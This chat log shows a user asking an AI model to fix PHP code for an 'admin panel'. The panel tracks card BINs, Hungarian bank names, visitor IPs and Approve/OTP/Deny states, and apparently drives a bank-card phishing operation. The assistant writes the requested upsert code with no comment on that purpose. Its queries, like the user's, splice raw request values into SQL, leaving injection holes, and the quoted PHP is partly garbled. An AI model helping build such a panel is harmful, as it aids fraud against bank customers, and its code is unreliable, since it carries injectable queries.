edit me this code when same unique ID is the same just update the previeous ID not…
- User
edit me this code when same unique ID is the same just update the previeous ID not making a new row how to do it ? page preview : Unique ID Bank Status Request Date Action 643302913cea1 MAGYAR awaiting_approve 2023-04-09 19:27:46 Approve | OTP | DONE | Deny | Delete 643302913cea1 MAGYAR awaiting_approve 2023-04-09 19:28:46 Approve | OTP | DONE | Deny | Delete 64334518d16a5 MAGYAR awaiting_approve 2023-04-10 00:10:23 Approve | OTP | DONE | Deny | Delete 64334518d16a5 MAGYAR awaiting_approve 2023-04-10 00:20:32 Approve | OTP | DONE | Deny | Delete 64334518d16a5 MAGYAR awaiting_approve 2023-04-10 00:21:55 Approve | OTP | DONE | Deny | Delete 64334518d16a5 MAGYAR awaiting_approve 2023-04-10 00:37:16 Approve | OTP | DONE | Deny | Delete 64334518d16a5 MAGYAR awaiting_approve 2023-04-10 00:38:11 Approve | OTP | DONE | Deny | Delete 64334518d16a5 MAGYAR awaiting_approve 2023-04-10 00:39:45 Approve | OTP | DONE | Deny | Delete admin.php :
<head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css"> <title>NAYFER - ADMIN PANEL</title> </head> <body> <table> <thead> </thead> </div> <?php session_start();include 'config.php'; host, pass, conn) { die("Connection failed: " . mysqli_connect_error()); } if (isset(_GET['action'])) { action = unique_id = $_GET['unique_id'];
if ($action == 'approve') { // Update the status of the request to "approved" $update_query = "UPDATE requests SET status = 'approved' WHERE unique_id = '$unique_id'"; if (mysqli_query($conn, $update_query)) { header('Location: admin.php'); } else { echo "Error updating request status: " . mysqli_error($conn); } } else if ($action == 'otp') { $update_query = "UPDATE requests SET status = 'OTP' WHERE unique_id = '$unique_id'"; if (mysqli_query($conn, $update_query)) { header('Location: admin.php'); } else { echo "Error updating request status: " . mysqli_error($conn); } } else if ($action == 'done') { $update_query = "UPDATE requests SET status = 'DONE' WHERE unique_id = '$unique_id'"; if (mysqli_query($conn, $update_query)) { header('Location: admin.php'); } else { echo "Error updating request status: " . mysqli_error($conn); } } else if ($action == 'decline') { $update_query = "UPDATE requests SET status = 'DENY' WHERE unique_id = '$unique_id'"; if (mysqli_query($conn, $update_query)) { header('Location: admin.php'); } else { echo "Error updating request status: " . mysqli_error($conn); } } else if ($action == 'delete') { $delete_query = "DELETE FROM requests WHERE unique_id = '$unique_id'"; if (mysqli_query($conn, $delete_query)) { header('Location: admin.php'); } else { echo "Error deleting request: " . mysqli_error($conn); } }} result = mysqli_query(select_query); if (mysqli_num_rows(result) > 0) { // Display a table of all requests echo "<div class='container-fluid'><table class='table table-striped table-sm table-borderless'>"; echo "<tr><th>Unique ID</th><th>Bank</th><th>Status</th><th>Request Date</th><th>Action</th></tr>"; while (row = mysqli_fetch_assoc(result)) { echo "<tr><td>" . row['unique_id'] . "" . row['status']."'>" . row['request_date'] . ""; if (row['status'] == 'awaiting_approval') { // If the request is awaiting approval, display buttons to approve or reject the request echo '<a href="admin.php?action=approve&unique_id=' . row['unique_id'] . '">Approve | OTP | DONE | Deny | Delete'; } if (in_array(row['bank'], array('RAIFFEISEN','UNICREDIT','ERSTE','CIB' , 'CENTRAL-EUROPEAN'))) { echo '<a href="admin.php?action=approve&unique_id=' . row['unique_id'] . '">Approve | DONE | Deny | Delete'; } else { echo 'Approve | OTP | DONE | Deny | <a href="admin.php?action=delete&unique_id=' . $row['unique_id'] . '"" style="color:red">Delete'; } echo ""; } echo ""; } else { echo "No requests found."; }
mysqli_close($conn); ?>
mysql : CREATE TABLE requests ( unique_id VARCHAR(50) NOT NULL, bin VARCHAR(6) NOT NULL, bank VARCHAR(50) NOT NULL, request_date DATETIME NOT NULL, status ENUM('awaiting_approve', 'approved', 'otp', 'done', 'decline') NOT NULL, ip VARCHAR(45) NOT NULL, UNIQUE KEY (request_date) );
- Assistant
If I understand your requirement correctly, you want to update the existing row with the same unique ID instead of creating a new row with the same unique ID. To achieve this, you can use MySQL's
INSERT ... ON DUPLICATE KEY UPDATEstatement.Change the part where you insert the new request with the following code:
// Check if there is an existing row with the same unique ID $check_query = "SELECT unique_id FROM requests WHERE unique_id = '$unique_id'"; $check_result = mysqli_query($conn, $check_query); if (mysqli_num_rows($check_result) > 0) { // If a row with the same unique ID exists, update it $update_query = "UPDATE requests SET bin = '$bin', bank = '$bank', request_date = '$request_date', status = 'awaiting_approve', ip = '$ip' WHERE unique_id = '$unique_id'"; if (mysqli_query($conn, $update_query)) { // do something after updating the row } else { echo "Error updating request: " . mysqli_error($conn); } } else { // If no row with the same unique ID exists, insert a new row $insert_query = "INSERT INTO requests (unique_id, bin, bank, request_date, status, ip) VALUES ('$unique_id', '$bin', '$bank', '$request_date', 'awaiting_approve', '$ip')"; if (mysqli_query($conn, $insert_query)) { // do something after inserting the new row } else { echo "Error inserting request: " . mysqli_error($conn); } }This code first checks if a row with the same unique ID already exists. If it does, it updates the existing row with the new information. If not, it inserts a new row.